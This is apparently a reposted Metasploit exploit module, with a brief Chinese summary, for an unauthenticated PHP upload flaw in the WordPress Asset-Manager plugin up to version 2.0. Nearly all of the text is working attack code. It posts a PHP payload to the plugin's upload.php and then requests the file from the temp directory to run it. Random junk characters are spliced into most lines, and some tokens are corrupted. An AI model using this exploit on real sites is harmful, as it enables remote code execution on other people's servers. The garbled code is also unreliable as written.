这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。
0 Q6 `: T4 }4 o0 g% d1 f" E
8 w# v- @6 [$ r' s- D##
/ ?, P, n- S @6 ]$ S, ^# This file is part of the Metasploit Framework and may be subject to) C: G$ j' [9 D7 B
# redistribution and commercial restrictions. Please see the Metasploit6 c- K+ K' [1 p
# Framework web site for more information on licensing and terms of use.
$ L3 X/ k4 {$ n# http://metasploit.com/framework/
' V- {, }6 W4 C( G( \##
0 p- B, s G% h, x4 `. K
]) p' @8 F0 arequire 'msf/core'# Z1 x1 u, m: m0 B- O% X
require 'msf/core/exploit/php_exe'( d& ~6 x# T2 r9 U1 }
% O }: \( S& o7 ^class Metasploit3 < Msf::Exploit::Remote
' J. @' _0 b& W7 u% W Rank = ExcellentRanking
- c/ P6 I$ c- t% G
& o b y( }6 @' ^ include Msf::Exploit::Remote::HttpClient' u. k6 @9 S$ Q4 V5 r* {+ x
include Msf::Exploit: hpEXE
& l1 O+ E2 f* q8 Q* u q; w
7 z1 ^0 H( D$ S, p1 }$ V def initialize(info = {})) Z% X3 h; q* d. H: q8 h
super(update_info(info,) Z" `* l" a! P" R4 u; t) ~
'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',
6 x7 |& `+ n: D. |; L 'Description' => %q{( l; Z. l4 }/ u& W F+ p/ q6 ?
This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress
Q6 ^& I7 A. F plugin. By abusing the upload.php file, a malicious user can upload a file to a
( k- \$ l- @2 w; q8 E temp directory without authentication, which results in arbitrary code execution.
: C z5 j, V' k, ~" c* L },7 ?" L8 _0 V! q( O
'Author' =>* d7 H O. }, c1 S% p+ Z
[
! b3 A1 u" ]9 e: O6 {6 e) \/ W) d 'Sammy FORGIT', # initial discovery
7 M# Z0 v4 U2 U; M5 I) z% A! x 'James Fitts <fitts.james[at]gmail.com>' # metasploit module- }/ B: t7 D) R: l3 N& H% u/ ], E$ B: N
],. i0 {; N6 k2 w. N# ]8 N
'License' => MSF_LICENSE,
4 q/ H# x2 Z% S) d& s 'References' =>
8 |# I0 i4 l. ^0 S [" {' Q* k8 l$ W9 | K/ a
[ 'OSVDB', '82653' ],
" a. B3 {* j2 {: h [ 'BID', '53809' ],
% P* ~0 ?) N% s. N- z [ 'EDB', '18993' ],
$ n1 Y0 c. e5 J [ 'URL', 'http:// www.myhack58.com /' ]* S$ g+ @2 {+ v+ ~
],
0 {) q5 e: {/ K' I! n 'Payload' =>
5 F$ }2 u/ ?9 X6 J' N# a {
5 I1 _; v6 e: M 'BadChars' => "\x00",0 z+ `; j. g; r: a7 b8 _: P# |
},, b+ ~. d& n% D" ^
'Platform' => 'php',
+ P% N4 U Y9 f- ?1 g! s0 z4 D- _4 _. W! z 'Arch' => ARCH_PHP,7 U% t0 R3 G0 p6 R" f* B! i8 W# l
'Targets' =>
G: J( {3 V% Q5 {; s [
6 g( @ T) z7 y6 m) Y1 T; W [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
9 z" A: E- j' f! O! ^% [3 K2 X# m [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]3 r0 c1 S, \4 d& a, s0 f0 `0 o
],& \- I' j G; m( k% D6 ?3 s/ u8 L
'DefaultTarget' => 0,
3 W: L u' e; R 'DisclosureDate' => 'May 26 2012'))% J, K* s0 X- S5 U9 I) J1 p% T
, T" |4 E$ @- m _ register_options(
; g) L% ?! [. s& z8 P: |, j [
4 }& @. g% {8 a0 t, C" ]- x: [ OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])& r; X# ^9 v- L
], self.class)
k. _; [, ?3 r+ h5 H end( m( i9 J H: C
% o) n, _, r% X9 j1 P3 k, o def exploit
. Q' O4 b5 A- V/ L uri = target_uri.path
6 ]2 Z6 ?" T6 I3 \$ ~' a9 G- p uri << '/' if uri[-1,1] != '/'
: a3 f$ d# i) t' G- J peer = "#{rhost}:#{rport}"
% g: ^- F; {$ a payload_name = "#{rand_text_alpha(5)}.php"
; p! e5 \ l5 t* z: V* R1 Z- Z php_payload = get_write_exec_payload(:unlink_self=>true)
: v! n; e B. Z w
) O( W$ q9 z7 d. N# _ data = Rex::MIME::Message.new
! f0 w2 ^8 @' z, _' Q; x: N/ a( A! b! z8 \ data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")2 K) g# Q" R- \- w& k! }$ w
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')7 F& {+ y4 X& c, Z* }5 l! Q/ B/ X
0 D( h2 u/ B3 z3 O! m
print_status("#{peer} - Uploading payload #{payload_name}")
: e# t2 `! J! \ res = send_request_cgi({6 q4 c. T6 y" G' V* e1 S
'method' => 'POST',4 R0 X. c# [4 s
'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php",
# |* t6 U/ @: g, E. y V 'ctype' => "multipart/form-data; boundary=#{data.bound}",- s) {$ c, B, n: r" B3 I6 U
'data' => post_data M8 I z' T, B
})+ |( A0 Y+ Y( J6 `) r; b
6 l- Z' v7 W0 z9 M5 X i
if not res or res.code != 200 or res.body !~ /#{payload_name}/
! E a/ ^; j5 q3 _# s' z! L5 X0 J fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
u3 k+ x4 B. t! w( s6 A! [: h+ Jend
. M h( ` S- |& s . q" i6 K4 b& ?* L. y# r
print_status("#{peer} - Executing payload #{payload_name}")( r( [" P4 l. J& Q$ G" z, d
res = send_request_raw({1 G2 q: V3 G+ R
'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",/ d4 C2 q$ F4 v' x2 B) G
'method' => 'GET'
1 O4 K3 x4 i2 [ })# q* n+ p: `4 I7 Z% k. w* K W
# J* H& X$ U E if res and res.code != 2000 G# o' p+ c9 g* [. O3 @; N
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")7 v! _% i7 U5 F" }# U' w
end
# i! c. f; X+ p3 \- T# U end
, m' Z9 o& s3 q8 Y# h+ s# Vend
8 l% B% {: B+ P& C6 r; h |